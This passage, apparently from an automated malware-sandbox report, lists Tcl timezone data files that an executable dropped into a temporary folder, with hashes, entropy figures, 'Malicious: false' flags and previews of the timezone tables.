SSDEEP:	96:ZgOZVKyjVYus/Q7Ddh5sBPyNsSLFOMM/EowALVZVmWa86Eac8rQ:ZBZVKH/4h5sBPy+CMt/ElALLVuAH
MD5:	8F3203A395A098A1559DBA8211E507BB
SHA1:	24295E907BB779FB6E606730C0EA804D4FD06609
SHA-256:	2B54CD306F1B99938A1D0926020A569D1D1588A340059DEC1DE61FBFD2A1076C
SHA-512:	CE66B5CCEA8AD706854A03C7FBE3E5EC680FED1F716563566E8357083CCFC4E55795609139E999DAF4F5CD4D88269947FDD1D2E10F68E5DE46D02E67FA5A0046
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Yakutat) {. {-9223372036854775808 52865 0 LMT}. {-3225364865 -33535 0 LMT}. {-2188953665 -32400 0 YST}. {-883580400 -32400 0 YST}. {-880203600 -28800 1 YWT}. {-769395600 -28800 1 YPT}. {-765381600 -32400 0 YST}. {-757350000 -32400 0 YST}. {-31503600 -32400 0 YST}. {-21474000 -28800 1 YDT}. {-5752800 -32400 0 YST}. {9975600 -28800 1 YDT}. {25696800 -32400 0 YST}. {41425200 -28800 1 YDT}. {57751200 -32400 0 YST}. {73479600 -28800 1 YDT}. {89200800 -32400 0 YST}. {104929200 -28800 1 YDT}. {120650400 -32400 0 YST}. {126702000 -28800 1 YDT}. {152100000 -32400 0 YST}. {162385200 -28800 1 YDT}. {183549600 -32400 0 YST}. {199278000 -28800 1 YDT}. {215604000 -32400 0 YST}. {230727600 -28800 1 YDT}. {247053600 -32400 0 YST}. {262782000 -28800 1 YDT}. {278503200 -32400 0 YST}. {294231600 -28800 1 YDT}. {309952800 -32400 0 YST}. {325681200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Yellowknife

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7485
Entropy (8bit):	3.785447517514148
Encrypted:	false
SSDEEP:	96:qGzGm+4I1zXN+C2mWBNQMsmNTxf6AeO+cblX:YVUC2mWBNwWTxyWR
MD5:	F7892A95AC025FF42DEAC7DD68E9A1D6
SHA1:	5FDFEB833006620505CE2F0F47C7E0B34319DB3C
SHA-256:	E682009C097E6902595CD860F284E5354DCDD90BE68A19431A40F839B50C42A8
SHA-512:	E186DC91EF45C3DAAA3529C75570D9402EDB529045F1ECB7EA99E74F465E107B63ACABA024CE25DB56387562948BE55DF09FB726D511AB59B81ED646331EF3BE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Yellowknife) {. {-9223372036854775808 0 0 zzz}. {-1104537600 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-147891600 -18000 1 MDDT}. {-131562000 -25200 0 MST}. {315558000 -25200 0 MST}. {325674000 -21600 1 MDT}. {341395200 -25200 0 MST}. {357123600 -21600 1 MDT}. {372844800 -25200 0 MST}. {388573200 -21600 1 MDT}. {404899200 -25200 0 MST}. {420022800 -21600 1 MDT}. {436348800 -25200 0 MST}. {452077200 -21600 1 MDT}. {467798400 -25200 0 MST}. {483526800 -21600 1 MDT}. {499248000 -25200 0 MST}. {514976400 -21600 1 MDT}. {530697600 -25200 0 MST}. {544611600 -21600 1 MDT}. {562147200 -25200 0 MST}. {576061200 -21600 1 MDT}. {594201600 -25200 0 MST}. {607510800 -21600 1 MDT}. {625651200 -25200 0 MST}. {638960400 -21600 1 MDT}. {657100800 -25200 0 MST}. {671014800 -21600 1 MDT}. {68

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Casey

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	263
Entropy (8bit):	4.6496354102259465
Encrypted:	false
SSDEEP:	6:SlSWB9X52L09xvFJm2OHaTQMFH9DTKNH6ATVs:MBp52Lc9mdHaTQMFH93Kx5TVs
MD5:	31C10B733636008D3C4A4A5C7ED37021
SHA1:	74DDEE2693FEB092BA39538057D11D926845A07B
SHA-256:	DE836A1D45233991C82D9DC3BA52F14BA83804E5947C970488D8F54E2DE30354
SHA-512:	C8C4B631C2CE8AD8742EE9CE5991C2E48DF3F4A2DEA4DF9DEBACA72F1498FB86641650F03DE5988636D4C194C34269F72A1D4DEC8FB6DC605D695D24711B657E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Casey) {. {-9223372036854775808 0 0 zzz}. {-31536000 28800 0 AWST}. {1255802400 39600 0 CAST}. {1267714800 28800 0 AWST}. {1319738400 39600 0 CAST}. {1329843600 28800 0 AWST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Davis

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.486342929628561
Encrypted:	false
SSDEEP:	6:SlSWB9X52L0DTm2OHaRwz0/ePX7VoX/eyfyRXhNXSeOC/ed:MBp52LeTmdHaKxXODaRRF+
MD5:	BA37E2A48529496C9EBA7E416591C644
SHA1:	AD1C15A0E84C10EBDE9F0404DF969B2EE14CB18E
SHA-256:	B17ABA536140CE822CD14845BD92E85FA1D36CD3AE36F993B99535EA95BACF96
SHA-512:	B96A5324F1D0F25F5518737C8C3B942B9D1A0E626CDC6463F973928AEB0A53EB2C7A65E90C3305E9898220AB582CE3C89943A46605EADC4E4A99309D64B73071
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Davis) {. {-9223372036854775808 0 0 zzz}. {-409190400 25200 0 DAVT}. {-163062000 0 0 zzz}. {-28857600 25200 0 DAVT}. {1255806000 18000 0 DAVT}. {1268251200 25200 0 DAVT}. {1319742000 18000 0 DAVT}. {1329854400 25200 0 DAVT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\DumontDUrville

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	207
Entropy (8bit):	4.841687980121893
Encrypted:	false
SSDEEP:	6:SlSWB9X52L0/3Om2OHajRX8azcJRJ6SXeKn:MBp52LdmdHajx8azkkK
MD5:	E4CD713CC96B408C1AF1128EE19C2683
SHA1:	E431DF0AF88DDAEB69B563BD2B75CCAC859DC66E
SHA-256:	415711270E2FB8F3DE8ABEF98E51810445520D6FFA9A384AC9C0973324CE9DA6
SHA-512:	420D8F397CB8B9BED0DCFA69B68FEF7A0B66AE6169FB3D40C9360EA2A86C6210225880E2CD000C468AF5B52B19A2B74E0E1D7ABB0AB6F05F9B2AE9D9C020DEC0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/DumontDUrville) {. {-9223372036854775808 0 0 zzz}. {-725846400 36000 0 PMT}. {-566992800 0 0 zzz}. {-415497600 36000 0 DDUT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Macquarie

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	3.8789590757349917
Encrypted:	false
SSDEEP:	24:cQbTeUk467hLiVVitCinq+D18KmvLx0WWuyymPXObf78FCt7WQi2Njw:5dqlKiG+h5mjKIyym+WQNk
MD5:	D9ABBC08D989AD15D15DCCE055F12330
SHA1:	A1D5462AB53564F219C8841CAF2870AE193083CC
SHA-256:	06E4E78D8AD4EF8EE86D3FA2A3EDA16BA2272EF9A043B3AA626E5DF88B400C42
SHA-512:	75C864E70ADB7BFAB062D311A91913AC16C464641552D44E1540C90904F3B7104881702DEA87B09BD6C4C36FB59FB61CC517BA5F7F4342A1170948484B6B83E0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Macquarie) {. {-9223372036854775808 0 0 zzz}. {-2214259200 36000 0 AEST}. {-1680508800 39600 1 AEDT}. {-1669892400 39600 0 AEDT}. {-1665392400 36000 0 AEST}. {-1601719200 0 0 zzz}. {-94730400 36000 0 AEST}. {-71136000 39600 1 AEDT}. {-55411200 36000 0 AEST}. {-37267200 39600 1 AEDT}. {-25776000 36000 0 AEST}. {-5817600 39600 1 AEDT}. {5673600 36000 0 AEST}. {25632000 39600 1 AEDT}. {37728000 36000 0 AEST}. {57686400 39600 1 AEDT}. {67968000 36000 0 AEST}. {89136000 39600 1 AEDT}. {100022400 36000 0 AEST}. {120585600 39600 1 AEDT}. {131472000 36000 0 AEST}. {152035200 39600 1 AEDT}. {162921600 36000 0 AEST}. {183484800 39600 1 AEDT}. {194976000 36000 0 AEST}. {215539200 39600 1 AEDT}. {226425600 36000 0 AEST}. {246988800 39600 1 AEDT}. {257875200 36000 0 AEST}. {278438400 39600 1 AEDT}. {289324800 36000 0 AEST}. {309888000 39

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Mawson

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.828936781959796
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52L0GRHEzyedFkXGm2OHv/fCF/mVU/VPKVVFUysvUXS7tvn:SlSWB9X52L0zyEm2OHary/3sZBn
MD5:	78B2CE32973FB9701B7FE487B082941A
SHA1:	1A056555E64B2C7F7926B6A7F043049A2E93150D
SHA-256:	29472C5FAE7149AE3BC007D0BE4D1B1975E46F3BB77434832467C1326DF90AE2
SHA-512:	FD7DF0F9913A0E77F9F53F954A9EA16D616334DED7BAA41B1D54990C6458FFFB70CF2D5204288AD430833FFA36E22247144C4E624AEC1FF215EA79D92232869E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Mawson) {. {-9223372036854775808 0 0 zzz}. {-501206400 21600 0 MAWT}. {1255809600 18000 0 MAWT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\McMurdo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.832254042797831
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqTQG/u4pVAIgObT/NCxL2L0GRHEz6BVfnUDH/uvn:SlSWB9IZaM3ycqIVAIgOboL2L0z6/fvn
MD5:	0048A7427AC7880B9F6413208B216BC9
SHA1:	CBB4A29316581CFC7868A779E97DB94F75870F41
SHA-256:	487D4845885643700B4FF043AC5EA59E2355FD38357809BE12679ECAFFA93030
SHA-512:	EC107FA59203B7BCB58253E2715380EF70DF5470030B83E1DEA8D1AC4E7D3FB2908E8C7009D8136212871EC3DA8B4C4194FF3290E5A41EEE8E7D07CABE80ECC0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Auckland)]} {. LoadTimeZoneFile Pacific/Auckland.}.set TZData(:Antarctica/McMurdo) $TZData(:Pacific/Auckland).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Palmer

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2504
Entropy (8bit):	3.9021405085103424
Encrypted:	false
SSDEEP:	48:59qSkuSkGwRSkzGSkHdUJmSnS9SdSsSp3lSPS7S/STyzSNXSWS8SvSmSSSASYSxe:a+PRjG3dUJmugM981i+SLWXzx6z31hoe
MD5:	2E41B55D9A695B7139A028228903D0C8
SHA1:	494A2A4074E275B07494405326E14D0698208A44
SHA-256:	E8B3546141F27400245694F6B603078870E94176F0727BC086751CC51A38E277
SHA-512:	F63E40731A869A5D303AA90578D682E4B38E6490191D7C5C7927D3A31E2FF239636150B293E0E73181A2B2AD3D37BF08670E5129CA695D57CD57660E4E56F5E0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Palmer) {. {-9223372036854775808 0 0 zzz}. {-157766400 -14400 0 ART}. {-152654400 -14400 0 ART}. {-132955200 -10800 1 ARST}. {-121122000 -14400 0 ART}. {-101419200 -10800 1 ARST}. {-86821200 -14400 0 ART}. {-71092800 -10800 1 ARST}. {-54766800 -14400 0 ART}. {-39038400 -10800 1 ARST}. {-23317200 -14400 0 ART}. {-7588800 -10800 0 ART}. {128142000 -7200 1 ARST}. {136605600 -10800 0 ART}. {389070000 -14400 0 CLT}. {403070400 -10800 1 CLST}. {416372400 -14400 0 CLT}. {434520000 -10800 1 CLST}. {447822000 -14400 0 CLT}. {466574400 -10800 1 CLST}. {479271600 -14400 0 CLT}. {498024000 -10800 1 CLST}. {510721200 -14400 0 CLT}. {529473600 -10800 1 CLST}. {545194800 -14400 0 CLT}. {560923200 -10800 1 CLST}. {574225200 -14400 0 CLT}. {592372800 -10800 1 CLST}. {605674800 -14400 0 CLT}. {624427200 -10800 1 CLST}. {637124400 -14400 0 CLT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Rothera

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.897451485949667
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52L0GRHEsKRaXGm2OHv/fCF/F/H3VVFVtC:SlSWB9X52L0rRhm2OHa//VVF7C
MD5:	D0D77DD1FC371697C5C41A84CCA4C362
SHA1:	1EE9D25A49B17B384F459E48E48626ED2529FDAA
SHA-256:	099ECC8A06D74A92758F619AED115F42F490D0AC515568D7308DDD29AE148503
SHA-512:	0BDFDA36EC0F16511CDBDA2A938944081ECA746755175C12C09F6CCCA83F449A922DAF18268E17BA3D3DE8319C21152A39EB26AB6CA855F0C18A9263086BE0ED
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Rothera) {. {-9223372036854775808 0 0 zzz}. {218246400 -10800 0 ROTT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\South_Pole

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.858829912809126
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3ycqIVAIgOboL2L0tlo+plvn:MBaIMdQiO2LMq+p1
MD5:	51AC23110E7EAB20319EE8EC82F048D2
SHA1:	7B4DE168A3078041841762F468AE65A2EE6C5322
SHA-256:	D33E094979B3CE495BEF7109D78F7B77D470AB848E4E2951851A7C57140354BF
SHA-512:	13E800DFFA3D65F94FAD6B529FC8A29A26F40F4F29DBF19283392733458AD3C6B27E479218A8C123424E965711B4746976E39EB9FD54CD0B57281134FEAC4F31
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Auckland)]} {. LoadTimeZoneFile Pacific/Auckland.}.set TZData(:Antarctica/South_Pole) $TZData(:Pacific/Auckland).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Syowa

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.870240083017443
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52L0GRHEtWlFeEXGm2OHv/fCF/noMdMbv:SlSWB9X52L0tQeLm2OHaRbK
MD5:	ECA41775A0B086F9793055251447D1A8
SHA1:	7D760E1811F5893122659434E2B2DA0128210D6E
SHA-256:	6372A7C104A8C5A49F223F78909201A8BEB6A4A494D56FE3EE075481E6F4A3A8
SHA-512:	48428C664D224AA6D140EE085C889821F7A4558BA55E6563EC22DCBE4BB96DAEA3ECFFDA607211EFC763FB17B940C91679698049D57E980ABCC0201E442AFCB0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Syowa) {. {-9223372036854775808 0 0 zzz}. {-407808000 10800 0 SYOT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Troll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5269
Entropy (8bit):	3.772419187902428
Encrypted:	false
SSDEEP:	96:lp8rId3zbGwC0mFQRSH/fM0fb4tfrJpBeQoUccrfp5KAMC3gfd+L1rLl2L52ehYo:aHXMq8BrPRU6ZBxZTocRM
MD5:	1E0562BC1C2F6F564EA294E48A114937
SHA1:	C14DEEA65E094F80A47A3CD56C6A48A62ECED42F
SHA-256:	4B867C6680E4B1A72B7242635493EC9A48E15610F9C85C7AF2DAFC09978C119F
SHA-512:	DA86FBC00306B025C1E09C4989274C0DBC3B494B7DC9A857470BBC40E2403B8B5AE2B5A5628DC35EE5A2AA14A8C4F2AB84441672D05478D760A3605FFDDFD2F6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Troll) {. {-9223372036854775808 0 0 zzz}. {1108166400 0 0 UTC}. {1111885200 7200 1 CEST}. {1130634000 0 0 UTC}. {1143334800 7200 1 CEST}. {1162083600 0 0 UTC}. {1174784400 7200 1 CEST}. {1193533200 0 0 UTC}. {1206838800 7200 1 CEST}. {1224982800 0 0 UTC}. {1238288400 7200 1 CEST}. {1256432400 0 0 UTC}. {1269738000 7200 1 CEST}. {1288486800 0 0 UTC}. {1301187600 7200 1 CEST}. {1319936400 0 0 UTC}. {1332637200 7200 1 CEST}. {1351386000 0 0 UTC}. {1364691600 7200 1 CEST}. {1382835600 0 0 UTC}. {1396141200 7200 1 CEST}. {1414285200 0 0 UTC}. {1427590800 7200 1 CEST}. {1445734800 0 0 UTC}. {1459040400 7200 1 CEST}. {1477789200 0 0 UTC}. {1490490000 7200 1 CEST}. {1509238800 0 0 UTC}. {1521939600 7200 1 CEST}. {1540688400 0 0 UTC}. {1553994000 7200 1 CEST}. {1572138000 0 0 UTC}. {1585443600 7200 1 CEST}. {1603587600 0 0 UTC}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Antarctica\Vostok

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.889998800024563
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52L0GRHEoKcMFtXGm2OHv/fCF/gd/bVFXKVVFJtvn:SlSWB9X52L0XcMFEm2OHaqVFXK/Nn
MD5:	A75528ECB73AA4F1A40182E54C69246C
SHA1:	390AE655C44523ABBC4D84925E84795F2822FA6B
SHA-256:	53C302E681EDFCBE0A0B757DEC7A1E0CA584E2D8A5EE3D4BFDBEBE4C71AEE02A
SHA-512:	7ABEBEDE35059F6AB73DB952475D94E7D76AC1A433C6E3568262AD84ABF92B24B3E3D5FE373709D35079E74379BBC77B8C19D2DF7CC852239294717FFAE758C9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Antarctica/Vostok) {. {-9223372036854775808 0 0 zzz}. {-380073600 21600 0 VOST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Arctic\Longyearbyen

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.922114908130109
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVyWJooedVAIgoqxWJ0YF2XbeLo4cA4FH/h8QasWJ/n:SlSWB9IZaM3ymSDdVAIgo2Q2XbUyAK8H
MD5:	0F69284483D337DC8202970461A28386
SHA1:	0D4592B8EBE070119CB3308534FE9A07A758F309
SHA-256:	3A5DB7C2C71F95C495D0884001F82599E794118452E2748E95A7565523546A8E
SHA-512:	D9F2618B153BFE4888E893A62128BE0BD59DFAFC824DA629454D5D541A9789536AC029BF73B6E9749409C522F450D53A270D302B2CF084444EA64D9138D77DFE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Oslo)]} {. LoadTimeZoneFile Europe/Oslo.}.set TZData(:Arctic/Longyearbyen) $TZData(:Europe/Oslo).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Aden

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.7788335911117095
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8t1zVAIgNsM1E2WFK4h4WFK81S:SlSWB9IZaM3yN1zVAIgaM1E2wKs4wK8c
MD5:	BBAFEA8E55A739C72E69A619C406BD5D
SHA1:	0C2793114CA716C5DBAF081083DF1E137F1D0A63
SHA-256:	6E69C5C3C3E1C98F24F5F523EC666B82534C9F33132A93CCC1100F27E594027F
SHA-512:	7741F2281FDCA8F01A75ABEBF908F0B70320C4C026D90D4B0C283F3E2B8C47C95263569916EF83CAD40C87D5B6E714045D0B43370A263BC7BE80EC3DA62CC82F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Riyadh)]} {. LoadTimeZoneFile Asia/Riyadh.}.set TZData(:Asia/Aden) $TZData(:Asia/Riyadh).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Almaty

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1627
Entropy (8bit):	3.956903784715755
Encrypted:	false
SSDEEP:	48:5CeyeBebweJq7eqeS7eWqeUeVerePwehe0eNNeGeIOeoe4eieV7epeGqeUeuecea:R74bxTDpWDF8C5YlNkvIH5JrQwGDFn9a
MD5:	CC9C35479B78031C20B1E7BB17DBC970
SHA1:	9E5D894B8B50466F2FFEA9F6AF3022BEDDE8A8CA
SHA-256:	CFF6D1A1EB22F1F425C996F18427F96B3920D945A0EAF028D752A5717CC4A588
SHA-512:	ADD0CF752F0B00C4894EA7A8475D3A1F01CEF3195A6F09993508BB006C1B0F74FB4AA56F0D4D6756D9BAAAB1995F89B8C75D2178284F21AA11286B5B2378FEE7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Almaty) {. {-9223372036854775808 18468 0 LMT}. {-1441170468 18000 0 ALMT}. {-1247547600 21600 0 ALMT}. {354909600 25200 1 ALMST}. {370717200 21600 0 ALMT}. {386445600 25200 1 ALMST}. {402253200 21600 0 ALMT}. {417981600 25200 1 ALMST}. {433789200 21600 0 ALMT}. {449604000 25200 1 ALMST}. {465336000 21600 0 ALMT}. {481060800 25200 1 ALMST}. {496785600 21600 0 ALMT}. {512510400 25200 1 ALMST}. {528235200 21600 0 ALMT}. {543960000 25200 1 ALMST}. {559684800 21600 0 ALMT}. {575409600 25200 1 ALMST}. {591134400 21600 0 ALMT}. {606859200 25200 1 ALMST}. {622584000 21600 0 ALMT}. {638308800 25200 1 ALMST}. {654638400 21600 0 ALMT}. {662666400 21600 0 ALMT}. {694202400 21600 0 ALMT}. {701802000 25200 1 ALMST}. {717523200 21600 0 ALMT}. {733262400 25200 1 ALMST}. {748987200 21600 0 ALMT}. {764712000 25200 1 ALMST}. {780436800 21600 0 ALMT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Amman

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7055
Entropy (8bit):	3.621680472512772
Encrypted:	false
SSDEEP:	96:Rnv8A4XkyKfUN9QXCkFpej4g2uMekzdgyvwKVuKEZhfuITrar2gsq0teU:RvMw2y3p+4g2PxbLS5
MD5:	703F8A37D41186AC8CDBCB86B9FE6C1B
SHA1:	B2D7FCBD290DA0FEB31CD310BA29FE27A59822BE
SHA-256:	847FA8211956C5930930E2D7E760B1D7F551E8CDF99817DB630222C960069EB8
SHA-512:	66504E448469D2358C228966739F0FEB381BF862866A951B092A600A17DAD80E6331F6D88C4CFCE483F45E79451722A19B37291EDA75C7CD4D7E0A7E82096F47
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Amman) {. {-9223372036854775808 8624 0 LMT}. {-1230776624 7200 0 EET}. {108165600 10800 1 EEST}. {118270800 7200 0 EET}. {136591200 10800 1 EEST}. {149806800 7200 0 EET}. {168127200 10800 1 EEST}. {181342800 7200 0 EET}. {199749600 10800 1 EEST}. {215643600 7200 0 EET}. {231285600 10800 1 EEST}. {244501200 7200 0 EET}. {262735200 10800 1 EEST}. {275950800 7200 0 EET}. {481154400 10800 1 EEST}. {496962000 7200 0 EET}. {512949600 10800 1 EEST}. {528670800 7200 0 EET}. {544399200 10800 1 EEST}. {560120400 7200 0 EET}. {575848800 10800 1 EEST}. {592174800 7200 0 EET}. {610581600 10800 1 EEST}. {623624400 7200 0 EET}. {641167200 10800 1 EEST}. {655074000 7200 0 EET}. {671839200 10800 1 EEST}. {685918800 7200 0 EET}. {702856800 10800 1 EEST}. {717973200 7200 0 EET}. {733701600 10800 1 EEST}. {749422800 7200 0 EET}. {765151200 10800 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Anadyr

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	3.9059727754043094
Encrypted:	false
SSDEEP:	48:5l1wikTTFLDQg/c1l9U7z/viKX2jO61kd9Outd1rq92Eb6LqeJ3f686bzQ:71wikHFNiKX2jAwIvUs
MD5:	C8D90F85B9D4DBE3D8C0C0034703A5A0
SHA1:	F38B93DABD7F96EBC21F854F782709ECE7AE2867
SHA-256:	89D9194E2CC512F5AD13C4081DF3BE8FEA893B97BDD2483155A88BF481397CCE
SHA-512:	1B85DA900D0E34E7127E238150CE15491713C5261AA2523E049C16CDD6CAB854FB2A506AFC8B27F3D1178FEE74B997743019C973454368DBDDFA2488D2340E56
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Anadyr) {. {-9223372036854775808 42596 0 LMT}. {-1441194596 43200 0 ANAT}. {-1247572800 46800 0 ANAMMTT}. {354884400 50400 1 ANAST}. {370692000 46800 0 ANAT}. {386420400 43200 0 ANAMMTT}. {386424000 46800 1 ANAST}. {402231600 43200 0 ANAT}. {417960000 46800 1 ANAST}. {433767600 43200 0 ANAT}. {449582400 46800 1 ANAST}. {465314400 43200 0 ANAT}. {481039200 46800 1 ANAST}. {496764000 43200 0 ANAT}. {512488800 46800 1 ANAST}. {528213600 43200 0 ANAT}. {543938400 46800 1 ANAST}. {559663200 43200 0 ANAT}. {575388000 46800 1 ANAST}. {591112800 43200 0 ANAT}. {606837600 46800 1 ANAST}. {622562400 43200 0 ANAT}. {638287200 46800 1 ANAST}. {654616800 43200 0 ANAT}. {670341600 39600 0 ANAMMTT}. {670345200 43200 1 ANAST}. {686070000 39600 0 ANAT}. {695746800 43200 0 ANAMMTT}. {701780400 46800 1 ANAST}. {717501600 43200 0 ANAT}. {733240800 46800

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Aqtau

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1684
Entropy (8bit):	3.971554616694357
Encrypted:	false
SSDEEP:	24:cQJeoR910JIhf6ZZKIYOdaV2K7LOtadYOWbgqwecyXE0uU914QlLY8uaX6:5XAIhf6KINmB21aN
MD5:	F57B92336C0F84BEF426E8A3D472C9B1
SHA1:	3269B8E9E0593A3D40761526D737FD4FFF55F052
SHA-256:	D89D07789291AA562A5080603D9D65AE3F1DE4B430737177747A8FCCFE61EC4B
SHA-512:	7ED92CCA7263B4492161EC8F2E6FD91EDE70A84BA660C6A3A0FDBD6554D80B993E57419AE3842E0E29380F1EAAEEAB96633B2F1443D82008FBC160F1F98308C0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Aqtau) {. {-9223372036854775808 12064 0 LMT}. {-1441164064 14400 0 FORT}. {-1247544000 18000 0 FORT}. {-220942800 18000 0 SHET}. {370724400 21600 0 SHET}. {386445600 18000 0 SHET}. {386449200 21600 1 SHEST}. {402256800 18000 0 SHET}. {417985200 21600 1 SHEST}. {433792800 18000 0 SHET}. {449607600 21600 1 SHEST}. {465339600 18000 0 SHET}. {481064400 21600 1 SHEST}. {496789200 18000 0 SHET}. {512514000 21600 1 SHEST}. {528238800 18000 0 SHET}. {543963600 21600 1 SHEST}. {559688400 18000 0 SHET}. {575413200 21600 1 SHEST}. {591138000 18000 0 SHET}. {606862800 21600 1 SHEST}. {622587600 18000 0 SHET}. {638312400 21600 1 SHEST}. {654642000 18000 0 SHET}. {662670000 18000 0 SHET}. {692823600 18000 0 AQTT}. {701805600 21600 1 AQTST}. {717526800 18000 0 